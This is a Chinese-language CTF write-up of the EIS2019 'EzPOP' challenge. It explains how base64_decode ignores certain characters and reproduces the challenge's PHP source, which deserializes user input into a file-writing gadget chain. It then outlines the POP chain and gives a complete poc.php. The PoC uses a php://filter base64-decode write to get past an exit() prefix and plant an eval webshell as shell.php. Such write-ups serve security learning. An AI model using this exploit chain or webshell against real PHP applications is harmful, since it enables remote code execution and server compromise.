EIS2019-EzPOP 中括号[]在PHP里代表数组&写入base64编码后的木马&base64_decode()是以8字节为单位解密的

这道题的重点：这道题完美地运用了base64_decode()函数会忽略某些特殊字符的特点

来看一个实例代码：

<?php
$a1=array();
$a2=array("php://filter/write=convert.base64-decode/resource=");
$text=json_encode([$a1,$a2]);
echo $text;
?>

运行结果：

[[],["php:\/\/filter\/write=convert.base64-decode\/resource="]

 

Trick：

$filename就写php伪协议

 

base64_decode的字符串中，会直接忽略一些特殊字符（直接无视），包括空格、"、<、[等，所以写马的时候要凑八个字符

php源代码：

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

POP链构造：

class A：__destruct ---- save ---- getForStorage --- 然后把$this->store=new B(); ---- 然后就调用B类里的set方法

 

class B:set --- getExpireTime和getCacheKey方法 ---- serialize ---  file_put_contents

 

poc.php:

<?php
class A{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
    $this->cache = array();
    $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST[8]);?>'));    //这个字数可以使用PHP在线网站一个一个试
    $this->key = "shell.php";
    $this->store = new B();
    $this->autosave = false;
    $this->expire = 0;
}


}

class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

传参data就行了